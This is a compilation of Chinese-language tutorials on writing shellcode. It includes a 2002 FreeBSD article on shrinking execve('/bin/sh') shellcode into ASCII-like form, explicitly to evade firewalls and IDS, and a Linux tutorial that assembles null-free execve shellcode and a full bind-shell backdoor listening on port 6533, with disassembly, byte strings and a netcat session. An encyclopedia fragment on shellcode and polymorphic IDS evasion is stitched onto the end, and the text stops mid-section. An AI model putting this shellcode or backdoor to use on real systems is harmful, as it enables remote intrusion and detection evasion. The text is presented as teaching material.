编写"优美"的SHELLCODE 作者:watercloud 主页:http://www.nsfocus.com 日期:2002-1-4 SHELLCODE的活力在于其功能,如果在能够完成功能的前提下又能比较"优美",那么就 更能体现shellcode的魅力. 个人认为shellcode的优美能在两个地方表现: shellcode本身应该尽量的短小. shellcode的书写也应该尽量的短小,并且尽量使用能书写为ascii码的机器码. 举例来讲如下两个都是FreeBSD下的shellcode,都是新开一个shell char shellcode_1[38]= "\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e" "\x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh"; char shellcode_2[24]= "1\xc0Ph//shh/binT[PPSS4;\xcd\x80"; 很显然shellcode_2比shellcode_1要短小精干.首先大小上shellcode_1的机器码为37 字节,shellcode_2 的机器码为23字节;其次从书写上shellcode_1为127字节,shellcode_2为32字节. 从中我们可以看到美化我们的shellcode主要也是从两个方面着手.首先尽量使自己的 代码变小,其次尽量使用 能书写为ascii码的机器码/汇编码. 当然尽量使用ascii码的好处不紧紧是使shellcode看起来美观,更重要的是现在越来 越多的防火强和IDS都开始将 网上流行的shellcode作为识别关键字,这就是说越是接近字符串的shellcode越能躲过 他们的检测. 以下我们通过简化FreeBSD上的具体shellcode来讲述美化shellcode. 首先让我们来开始编写一个简单的shellcode程序. 写如下程序test.c /* test.c for test shellcode */ #include void main() { char *arg[2]; arg[0] = "/bin/sh"; arg[1] = NULL; execve(arg[0], arg, NULL); } 编译: gcc test.c -static -o test 用gdb来看看其系统调用是如何传递参数的: gdb test (gdb) disass execve Dump of assembler code for function execve: 0x8048254 : lea 0x3b,%eax 0x804825a : int $0x80 可以看到其参数传递是通过堆栈进行的,这使得编写shellcode更是简单. 总结一下就是 int $0x80 前 al中放人0x3b 并且堆栈中依次放入 高地址: ^ [指向执行命令的指针 ] | [指向命令行参数的指针] | [指向环境变量的指针 ] | [execve函数返回地址 ] 低地址 就一切搞定! 写一个小程序 t.c main(){} gcc -S t.c 得到汇编框架程序t.s cat t.s .file "t.c" .version "01.01" gcc2_compiled.: .text .p2align 2,0x90 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp .L2: leave ret .Lfe1: .size main,.Lfe1-main .ident "GCC: (GNU) c 2.95.3 [FreeBSD] 20010315 (release)" 好了我们得到了一个汇编程序框架了,在此基础上简化一下,编写一个汇编程序test.s 如下 .text .p2align 2,0x90 .globl main .type main,@function main: jmp next real: popl %esi ; esi指向"/bin/sh" xorl %eax,%eax ; eax=0 movb %al,0x7(%esi) ; "/bin/sh"后添加一个'\0' movl %esi,0x8(%esi) ; 在"/bin/sh\0"后面构造char *arg[2]; arg[0]=esi 指向"/bin/sh" movl %eax,0xc(%esi) ; arg[1]=0 leal 0x8(%esi),%ebx ; ebx相当于arg pushl %eax ; 压入0 相当于压入execve(arg[0],arg,NULL)中的 NULL pushl %ebx ; 压入arg pushl %esi ; 压入arg[0] 即"/bin/sh"的开始地址 pushl %esi ; execve的返回地址,这里就随便给一个就行了 movb $0x3b,%al int $0x80 next: call real .string "/bin/sh" .end .size main,.end-main 编译: gcc test.s -o test 运行看看 bash-2.05$ ./test Bus error (core dumped) 奇怪! 想想看代码段默认是只读不可写而"/bin/sh"放在代码段中,我们在其后构造char *arg[2] 向里边赋值肯定出错. 解决办法:把test.s开头的.text改为.data告诉gcc这里的数据可读可写,作数据段, 嘿嘿 修改后再编译,再运行 bash-2.05$ ./test $ 看成功了! 我们来看看其机器码objdump -D test 其中我们可以看到: . . . . 080494c0 : 80494c0: eb 17 jmp 80494d9 080494c2 : 80494c2: 5e pop %esi 80494c3: 31 c0 xor %eax,%eax 80494c5: 88 46 07 mov %al,0x7(%esi) 80494c8: 89 76 08 mov %esi,0x8(%esi) 80494cb: 89 46 0c mov %eax,0xc(%esi) 80494ce: 8d 5e 08 lea 0x8(%esi),%ebx 80494d1: 50 push %eax 80494d2: 53 push %ebx 80494d3: 56 push %esi 80494d4: 56 push %esi 80494d5: b0 3b mov $0x3b,%al 80494d7: cd 80 int $0x80 080494d9 : 80494d9: e8 e4 ff ff ff call 80494c2 . . . . . 摘取下来作为我们的shellcode如下: "\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e \x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh"; 共37字节。 测试一下:写一个测试程序testshell.c如下 #include char sh[]= "\xeb\x17\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x5e" "\x08\x50\x53\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh"; main() { long p[1]; p[2]=sh; } 编译运行: bash-2.05$ gcc testshell.c -o testshell testshell.c: In function `main': testshell.c:7: warning: assignment makes integer from pointer without a cast bash-2.05$ ./testshell $ 成功是成功了,但我们发行代码很长,其主要代码花费在构造并赋值给char * arg[2] 上. 那么我们看看execve("/bin/sh",0,0);在FreeBSD上能用吗.(注:在Linux上不行,必须 给命令行参数 argv[0]赋值) 写一个测试程序test.c int main(){execve("/bin/sh",0,0)} 编译并运行: bash-2.05$ gcc test.c test.c: In function `main': test.c:2: warning: return type of `main' is not `int' bash-2.05$ ./a.out $ 看来在FreeBSD上编写shellcode更加简单了。不用构造命令行参数那么就简单多了. 再写一个test.s编译后用objdump -D test 看到如下: 080494c0 : 80494c0: eb 0e jmp 80494d0 080494c2 : 80494c2: 5e pop %esi 80494c3: 31 c0 xor %eax,%eax 80494c5: 88 46 07 mov %al,0x7(%esi) 80494c8: 50 push %eax 80494c9: 50 push %eax 80494ca: 56 push %esi 80494cb: 56 push %esi 80494cc: b0 3b mov $0x3b,%al 80494ce: cd 80 int $0x80 080494d0 : 80494d0: e8 ed ff ff ff call 80494c2 这次的shellcode就变成了: "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\x56\xb0\x3b\xcd\x80\xe8\xed\xf f\xff\xff/bin/sh" 共28字节. 接下来我们把他换个写法,里边凡是能用字符表示的我们就用字符书写: "\xeb\x0e^1\xc0\x88F\aPPVV\xb0;\xcd\x80\xe8\xed\xff\xff\xff/bin/sh" 看精简多了吧! 但由于"\x88F"在c语言的字符串中好像有特殊含义,不是很清楚,因为 main(){printf("\x88F");}在编译时 warning: escape sequence out of range for character 看来只能写成: "\xeb\x0e^1\xc0\x88F""\aPPVV\xb0;\xcd\x80\xe8\xed\xff\xff\xff/bin/sh" 把它分为两段字符串来写。 其中能使用字符的ascii范围为:0x21 - 0x7E 和几个特殊字符 0x7 -- '\a' 0x8 -- '\b' 0xc -- '\f' 0xb -- '\v' 0xd -- '\r' 0xa -- '\n' 查一下汇编手册我们就可以知道哪些汇编语句对应的机器码可用字符书写. 不过Phrack57上已经有人总结了,我们也就不用如此费神了引用过来如下: hexadecimal opcode | char | instruction -------------------+------+-------------------------------- 30 | '0' | xor , 31 | '1' | xor , 32 | '2' | xor , 33 | '3' | xor , 34 | '4' | xor al, 35 | '5' | xor eax, 36 | '6' | ss: (Segment Override Prefix) 37 | '7' | aaa 38 | '8' | cmp , 39 | '9' | cmp , 41 | 'A' | inc ecx 42 | 'B' | inc edx 43 | 'C' | inc ebx 44 | 'D' | inc esp 45 | 'E' | inc ebp 46 | 'F' | inc esi 47 | 'G' | inc edi 48 | 'H' | dec eax 49 | 'I' | dec ecx 4A | 'J' | dec edx 4B | 'K' | dec ebx 4C | 'L' | dec esp 4D | 'M' | dec ebp 4E | 'N' | dec esi 4F | 'O' | dec edi 50 | 'P' | push eax 51 | 'Q' | push ecx 52 | 'R' | push edx 53 | 'S' | push ebx 54 | 'T' | push esp 55 | 'U' | push ebp 56 | 'V' | push esi 57 | 'W' | push edi 58 | 'X' | pop eax 59 | 'Y' | pop ecx 5A | 'Z' | pop edx 61 | 'a' | popa 62 | 'b' | bound 63 | 'c' | arpl 64 | 'd' | fs: (Segment Override Prefix) 65 | 'e' | gs: (Segment Override Prefix) 66 | 'f' | o16: (Operand Size Override) 67 | 'g' | a16: (Address Size Override) 68 | 'h' | push 69 | 'i' | imul 6A | 'j' | push 6B | 'k' | imul 6C | 'l' | insb 6D | 'm' | insd 6E | 'n' | outsb 6F | 'o' | outsd 70 | 'p' | jo 71 | 'q' | jno 72 | 'r' | jb 73 | 's' | jae 74 | 't' | je 75 | 'u' | jne 76 | 'v' | jbe 77 | 'w' | ja 78 | 'x' | js 79 | 'y' | jns 7A | 'z' | jp 看!有点启发了吧. 看看我们以前的代码: 080494c0 : 80494c0: eb 0e jmp 80494d0 ;能用 je/jn/jb...就好了 080494c2 : 80494c2: 5e pop %esi 80494c3: 31 c0 xor %eax,%eax ;放到main开头的话 就能用je代替jmp了 80494c5: 88 46 07 mov %al,0x7(%esi) 80494c8: 50 push %eax 80494c9: 50 push %eax 80494ca: 56 push %esi 80494cb: 56 push %esi 80494cc: b0 3b mov $0x3b,%al ;可以用xorb $0x3b,%al 80494ce: cd 80 int $0x80 . . . . . 修改之后如下: 080494c0 : 80494c0: 31 c0 xor %eax,%eax 80494c2: 74 0c je 80494d0 080494c4 : 80494c4: 5f pop %edi 80494c5: 50 push %eax 80494c6: 50 push %eax 80494c7: 57 push %edi 80494c8: 57 push %edi 80494c9: 88 47 07 mov %al,0x7(%edi) 80494cc: 34 3b xor $0x3b,%al 80494ce: cd 80 int $0x80 080494d0 : 80494d0: e8 ef ff ff ff call 80494c4 对应代码为: "1\xc0t\f_PPWW\x88G\a4;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh" 共28字节,书写57字节. 看,又简化写了吧. 现在代码主要浪费在了call real 和给"/bin/sh"最后一字节添加'\0'上了,我们能不 能 打破 jmp next real: . . . next: call real .string "/bin/sh" 这一体系呢? 问题的关键在于FreeBSD上我们的shellcode只要一个字符串,数据量很小,我们完全可 以 考虑用堆栈存放该字符串。 我们事先将"/bin/sh" push到堆栈中。 但字符串要以\0结尾所以我们还是需要在其后添加\0,我们可以先push一个 0到堆栈中 去 而/bin/sh为7个字符,我们可以用/bin//sh代替,效果相同。 以此为思路我们最终编写如下: 0804847c : 804847c: 31 c0 xor %eax,%eax 804847e: 50 push %eax ; pushl 0 804847f: 68 2f 2f 73 68 push $0x68732f2f ; pushl "file://sh" 8048484: 68 2f 62 69 6e push $0x6e69622f ; pushl "/bin" 8048489: 54 push %esp 804848a: 5b pop %ebx ; 取得"/bin/sh"地 址 804848b: 50 push %eax 804848c: 50 push %eax 804848d: 53 push %ebx 804848e: 53 push %ebx 804848f: 34 3b xor $0x3b,%al 8048491: cd 80 int $0x80 对应shellcode为: "1\xc0Ph//shh/binT[PPSS4;\xcd\x80" 当然我们也可以将 xor %eax,%eax 写为: pushl $0x32323232 ; pushl "2222" popl %eax xorl $0x32323232,%eax 这样整个shellcode中就只剩下\xcd\x80不是字符了,但好像有点得不偿失。 最后是不是想把\xcd\x80也给换一换? 不过不要太乐观了,要替换掉它就有点难度了,这得要操作具体的esp位置,这里 就不多作讨论了,有兴趣可参见phrack57# 个人的一点愚见,忘大家指正。 参考: 微软masm32 v6 帮助手册 phrack57# Writing ia32 alphanumeric shellcodes |
一:什么是shellcode
话说某天某爱国黑客编译了一个Nday溢出利用程序来攻击CNN,输入IP并且enter之后发现目标服务器没有反应,于是拿出sniffer抓包分析...“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢? 简单的说,Shellcode是一段能够完成某种特定功能的二进制代码。具体完成什么任务是由攻击者决定的,可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。 因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。 接下来就一起来解开shellcode的神秘面纱吧~ 二:Linux系统调用 为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。 想知道系统上到底有哪些系统调用可以用,直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h,该文件包含了系统中每个可用的系统调用的定义,内容大概如下: #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_restart_syscall 0 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 . . . . 每个系统调用都有一个名称和相对应的系统调用号组成,由于该文件很长就不一一列出了。知道了linux系统调用是什么样子,下面就来了解下如何使用这些系统调用。启动一个系统调用需要使用int指令,linux系统调用位于中断0x80。当执行一个int 0x80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。 系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。 为了更好的说明一个系统调用的使用全过程,我们来看一个例子,这个例子中调用了write系统调用来将hello,syscall写入到终端,并最终调用exit系统调用安全退出。 代码如下: .section .data output: .ascii \"hello,syscall!!!!\\n\" output_end: .equ len,output_end - output .section .text .globl _start _start: movl $4,%eax #define __NR_write 4 movl $1,%ebx movl $output,%ecx movl $len,%edx int $0x80 movl $1,%eax movl $0,%ebx int $0x80 编译该程序,并查看运行结果: pr0cess@pr0cess:~$ as -o syscall.o syscall.s pr0cess@pr0cess:~$ ld -o syscall syscall.o pr0cess@pr0cess:~$ ./syscall hello,syscall!!!! 可以看到hello,syscall被写入到终端。那么这个过程是怎么实现的呢?首先程序定义了一个字符串hello,syscall!!!!和字符串的长度len,接下来将write系统调用号写入到eax寄存器中,接着write系统调用的第一个参数需要一个文件描述符fd,linux包含3种文件描述符0[STDIN]:终端设备的标准输入;1[STDOUT]:终端设备的标准输出;2[STDERR]:终端设备的标准错误输出。我们这里把fd的值设置为1,就是输入到屏幕上,因此把操作数1赋值给EBX寄存器。write系统调用的第二个参数是要写入字符串的指针,这里需要一个内存地址,因此我们通过movl $output,%ecx把output指向的实际内存地址存放在 ECX寄存器中。write系统调用的第三个参数是写入字符串的长度,按照顺序的参数传递方式,我们把len传递到EDX寄存器中,接着执行int $0x80软中断来执行write系统调用。下一步执行了一个exit(0) 操作,将exit系统调用号1传递给EAX寄存器,将参数0传递给EBX寄存器,然后执行int $0x80来执行系统调用,实现程序的退出。 为了更清晰的验证我们的系统调用确实被执行了,可以通过strace来查看二进制代码的运行情况,结果如下: pr0cess@pr0cess:~$ strace ./syscall execve(\"./syscall\", [\"./syscall\"], [/* 34 vars */]) = 0 write(1, \"hello,syscall!!!!\\n\", 18hello,syscall!!!! ) = 18 _exit(0) 通过返回的结果我们可以清楚的看到刚才syscall程序都执行了哪些系统调用,以及每个系统调用都传递了什么参数进去。 已经了解了系统调用的实现过程,让我们离shellcode更进一步吧。 三:第一个shellcode 最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件很美妙的事情,接下来我们就来实现如何获得一个新的shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能,这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符: pr0cess@pr0cess:~$ objdump -d ./syscall ./syscall: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: b8 04 00 00 00 mov $0x4,%eax 8048079: bb 01 00 00 00 mov $0x1,%ebx 804807e: b9 98 90 04 08 mov $0x8049098,%ecx 8048083: ba 12 00 00 00 mov $0x12,%edx 8048088: cd 80 int $0x80 804808a: b8 01 00 00 00 mov $0x1,%eax 804808f: bb 00 00 00 00 mov $0x0,%ebx 8048094: cd 80 int $0x80 pr0cess@pr0cess:~$ 噢!!!这个SB的程序在 8048074: b8 04 00 00 00 mov $0x4,%eax 这里就已经被00截断了,完全不能用于shellcode,只能作为一般的汇编程序运行。现在来分析下为什么会出现这种情况。现看这两段代码: movl $4,%eax movl $1,%ebx 这两条指令使用的是32位(4字节)的寄存器EAX和EBX,而我们却只分别赋值了1个字节到寄存器中,所以系统会用NULL字符(00)来填充剩下的字节空间,从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位,32位寄存器也可以通过16位或者8位的名称引用,我们通过AX寄存器来访问第一个16位的区域(低16位),继续通过对AL的引用EAX寄存器的低8位被使用,AH使用AL后的高8位。 EAX寄存器的构成如下: EAX寄存器 31 15 7 0 AH AL AX 在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间。 我们来修改一下代码看看,把 movl $4,%eax movl $1,%ebx 改为 mov $4,%al mov $1,%bl 再重新编译连接syscall程序,并且查看一下objdump的结果: pr0cess@pr0cess:~$ ./syscall hello,syscall!!!! pr0cess@pr0cess:~$ objdump -d ./syscall ./syscall: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: b0 04 mov $0x4,%al 8048076: b3 01 mov $0x1,%bl 8048078: b9 90 90 04 08 mov $0x8049090,%ecx 804807d: ba 12 00 00 00 mov $0x12,%edx 8048082: cd 80 int $0x80 8048084: b8 01 00 00 00 mov $0x1,%eax 8048089: bb 00 00 00 00 mov $0x0,%ebx 804808e: cd 80 int $0x80 pr0cess@pr0cess:~$ 看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了。 下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的: NAME execve - execute program SYNOPSIS #include int execve(const char *filename, char *const argv[], char *const envp[]); 可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数: #include int main() { char *sc[2]; sc[0]=\"/bin/sh\"; sc[1]= NULL; execve(sc[0],sc,NULL); } 通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果: pr0cess@pr0cess:~$ gcc -o newshell newshell.c pr0cess@pr0cess:~$ ./newshell $ exit pr0cess@pr0cess:~$ 新shell已经成功的诞生了!! 为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下: .section .text .globl _start _start: xorl %eax,%eax pushl %eax pushl $0x68732f6e pushl $0x69622f2f movl %esp,%ebx pushl %eax pushl %ebx movl %esp,%ecx movb $0xb,%al int $0x80 来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空 xorl %eax,%eax 接着将4字节的NULL压栈 pushl %eax 将/bin//sh压栈,保持对齐,第一个参数 pushl $0x68732f6e pushl $0x69622f2f 将/bin//sh存放到EBX寄存器,第2个参数 movl %esp,%ebx 压4字节的NULL,第3个参数,环境变量为 NULL pushl %eax 将EBX压栈 pushl %ebx 把EBX地址存入ECX寄存器 movl %esp,%ecx 将execve系统调用号11(0xb)压入AL寄存器,消00 movb $0xb,%al 调用int指令进入中断 int $0x80 OK,现在来测试一下这个程序是否能给我们带来一个新的shell pr0cess@pr0cess:~$ as -o exec.o exec.s pr0cess@pr0cess:~$ ld -o exec exec.o pr0cess@pr0cess:~$ ./exec $ exit pr0cess@pr0cess:~$ HOHO~~成功执行了!!接着来提取16进制机器码 pr0cess@pr0cess:~$ objdump -d ./exec ./exec: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 6e 2f 73 68 push $0x68732f6e 804805c: 68 2f 2f 62 69 push $0x69622f2f 8048061: 89 e3 mov %esp,%ebx 8048063: 50 push %eax 8048064: 53 push %ebx 8048065: 89 e1 mov %esp,%ecx 8048067: b0 0b mov $0xb,%al 8048069: cd 80 int $0x80 pr0cess@pr0cess:~$ 放到一个C程序中来完成整个shellcode的编写测试吧 /* *linux/x86 execve(\"/bin//sh/\",[\"/bin//sh\"],NULL) shellcode 23bytes * */ pr0cess@pr0cess:~$ objdump -d exec exec: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 6e 2f 73 68 push $0x68732f6e 804805c: 68 2f 2f 62 69 push $0x69622f2f 8048061: 89 e3 mov %esp,%ebx 8048063: 50 push %eax 8048064: 53 push %ebx 8048065: 89 e1 mov %esp,%ecx 8048067: b0 0b mov $0xb,%al 8048069: cd 80 int $0x80 pr0cess@pr0cess:~$ char sc[] = \"\\x31\\xc0\" \"\\x50\" \"\\x68\\x6e\\x2f\\x73\\x68\" \"\\x68\\x2f\\x2f\\x62\\x69\" \"\\x89\\xe3\" \"\\x50\" \"\\x53\" \"\\x89\\xe1\" \"\\xb0\\x0b\" \"\\xcd\\x80\" ; int main() { void (*fp)(void) = (void (*)(void))sc; printf(\"Length: %d\\n\",strlen(sc)); fp(); } pr0cess@pr0cess:~$ gcc -o execve execve.c pr0cess@pr0cess:~$ ./execve Length: 23 $ exit pr0cess@pr0cess:~$ 成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了。稍微休息一下,下一节带来一个更cool的bindshell功能的shellcode~~ 四:绑定端口的shellcode 根据上一节所说的,本地打开一个新的shell在面对远程目标时就不是那么有用了,这时我们需要在远程目标上打开一个可交互的shell,这样对我们更有帮助,等于直接获得了一个进入远程系统的后门,这就是端口绑定shellcode。 写到这里就需要一些网络编程的知识了,这里不再详细讲解如何进行网络编程,只是大概说一下一个bindshell后门程序的编写过程: 首先要建立一个socket server=socket(2,1,0) 建立一个sockaddr_in结构,包含IP和端口信息 将端口和IP邦定到socket bind() 打开端口监听该socket listen() 当有连接时向客户端返回一个句柄 accept() 将返回的句柄复制到STDIN,STDOUT,STDERR dup2() 调用execve执行/bin/sh 看了这些过程可能有些迷茫,下面我给出一个以前我些的bindshell.c后门程序,可以很清晰的看到一个bindshell是如何实现的: http://www.bugshower.org/xbind.c 通过对一个端口绑定后门C程序的分析已经了解了整个实现过程,为了更方便的提取shellcode我们需要用汇编来改写这个程序。这里一个新的系统调用将被使用,这就是socketcall系统调用,这个系统调用号是102。先来看一下man里面关于这个系统调用的参数信息: NAME socketcall - socket system calls SYNOPSIS int socketcall(int call, unsigned long *args); 该系统调用需要两个参数,第一个参数是一个整数值,存放在EBX寄存器中,对于一个bindshell我们只需要用到4个数值,分别是: SYS_SOCKET 1 SYS_BIND 2 SYS_LISTEN 4 SYS_ACCEPT 5 第二个参数是一个指针,指向一个参数数组,把它存在ECX寄存器中。 现在所有准备工作都已经就绪,开始用汇编编写一个bindshell后门吧~代码和注释如下: # [email protected] & [email protected] # bindshell.s --bindport on 6533 .section .text .global _start _start: #清空各寄存器 xor %eax,%eax xor %ebx,%ebx xor %ecx,%ecx #socket(2,1,0)创建一个TCP连接,注意字节序。 push %eax #压入第3个参数 0 push $0x1 #压入第2个参数 1 push $0x2 #压入第1个参数 2 mov %esp,%ecx #将ECX里的数组地址作为socketcall系统调用的第2个参数 inc %bl #bl=0+1,作为socketcall的第一个参数,调用socket函数 movb $0x66,%al #调用socketcall,0x66=102 int $0x80 #中断 mov %eax,%esi 将返回句柄保存在ESI中 #bind() push %edx #EDX压栈作为结束符 push $0x8519FF02 #0x8519=6533,sin.family=02,FF任意字节填充 mov %esp,%ecx #将ESP地址赋值给ECX push $0x10 #开始bind的参数,0x10压栈 push %ecx #保存地址 push %esi #把前面的句柄压栈 mov %esp,%ecx #继续把数组地址作为socketcall调用的第2个参数 inc %bl #bl=1+1=2=SYS_BIND mov $0x66,%al #调用socketcall int $0x80 #中断 #listen() push %edx #EDX压栈,作为结束符 push %esi #句柄压栈,作为listen的参数 mov %esp,%ecx #将数组地址设为socketcall的第2个参数 mov $0x4,%bl #bl=4=SYS_LISTEN mov $0x66,%al #执行socketcall系统调用 int $0x80 #中断 #accept() push %edx #参数0 push %edx #参数0 push %esi #句柄压栈 mov %esp,%ecx #将数组设为系统调用第2个参数 inc %bl #bl=4+1=SYS_ACCEPT mov $0x66,%al #执行系统调用 int $0x80 #中断 #dup2() mov %eax,%ebx #将accept返回的句柄复制到EBX xor %ecx,%ecx #清空 mov $0x3f,%al #dup2系统调用,0x3f=63 int $0x80 #中断 inc %ecx #1 mov $0x3f,%al int $0x80 inc %ecx #2 mov $0x3f,%al int $0x80 #之前熟悉的execve调用,打开一个新的shell push %edx push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %edx push %ebx mov %esp ,%ecx mov $0xb,%al int $0x80 呵..现在可以休息一下了,终于完成了这个恶心的程序的编写工作,测试一下是否能正常工作吧~ pr0cess@pr0cess:~$ as -o bindshell.o bindshell.s pr0cess@pr0cess:~$ ld -o bindshell bindshell.o pr0cess@pr0cess:~$ ./bindshell 再新开一个终端去连接,顺利的话我们应该能在6533端口得到一个shell的~ pr0cess@pr0cess:~$ netstat -an |grep \"6533\" tcp 0 0 0.0.0.0:6533 0.0.0.0:* LISTEN pr0cess@pr0cess:~$ nc 192.168.12.211 6533 uname -a Linux pr0cess 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux exit pr0cess@pr0cess:~$ 啊哈~美妙的shell出现了,程序顺利的完成它的工作,它可以去死了,我们来提取shellcode吧: pr0cess@pr0cess:~$ objdump -d ./bindshell ./bindshell: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: 31 db xor %ebx,%ebx 8048058: 31 c9 xor %ecx,%ecx 804805a: 50 push %eax 804805b: 6a 01 push $0x1 804805d: 6a 02 push $0x2 804805f: 89 e1 mov %esp,%ecx 8048061: fe c3 inc %bl 8048063: b0 66 mov $0x66,%al 8048065: cd 80 int $0x80 8048067: 89 c6 mov %eax,%esi 8048069: 52 push %edx 804806a: 68 02 ff 19 85 push $0x8519ff02 804806f: 89 e1 mov %esp,%ecx 8048071: 6a 10 push $0x10 8048073: 51 push %ecx 8048074: 56 push %esi 8048075: 89 e1 mov %esp,%ecx 8048077: fe c3 inc %bl 8048079: b0 66 mov $0x66,%al 804807b: cd 80 int $0x80 804807d: 52 push %edx 804807e: 56 push %esi 804807f: 89 e1 mov %esp,%ecx 8048081: b3 04 mov $0x4,%bl 8048083: b0 66 mov $0x66,%al 8048085: cd 80 int $0x80 8048087: 52 push %edx 8048088: 52 push %edx 8048089: 56 push %esi 804808a: 89 e1 mov %esp,%ecx 804808c: fe c3 inc %bl 804808e: b0 66 mov $0x66,%al 8048090: cd 80 int $0x80 8048092: 89 c3 mov %eax,%ebx 8048094: 31 c9 xor %ecx,%ecx 8048096: b0 3f mov $0x3f,%al 8048098: cd 80 int $0x80 804809a: 41 inc %ecx 804809b: b0 3f mov $0x3f,%al 804809d: cd 80 int $0x80 804809f: 41 inc %ecx 80480a0: b0 3f mov $0x3f,%al 80480a2: cd 80 int $0x80 80480a4: 52 push %edx 80480a5: 68 2f 2f 73 68 push $0x68732f2f 80480aa: 68 2f 62 69 6e push $0x6e69622f 80480af: 89 e3 mov %esp,%ebx 80480b1: 52 push %edx 80480b2: 53 push %ebx 80480b3: 89 e1 mov %esp,%ecx 80480b5: b0 0b mov $0xb,%al 80480b7: cd 80 int $0x80 pr0cess@pr0cess:~$ 检查了一下,机器码中没有出现00,可以放心的提取作为shellcode使用。具体的提取过程之前已经介绍过,也给出了相应的C程序模板,这里就不再重复工作了。 五:总结 本文没有什么高深的技术,没有华丽的技巧,浅入浅出的介绍了基本的linuxshellcode的编写过程,顺利完成了科普的目的。 shellcode百科名片Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
编辑本段
Shellcode编写考虑因素
Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:
⒈Shellcode的编写语言。
用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。
⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
⒊Shellcode中使用的API地址定位。
⒋Shellcode编码问题。
⒌多态技术躲避IDS检测。
编辑本段
常见问题处理方法
Shellcode编写技术
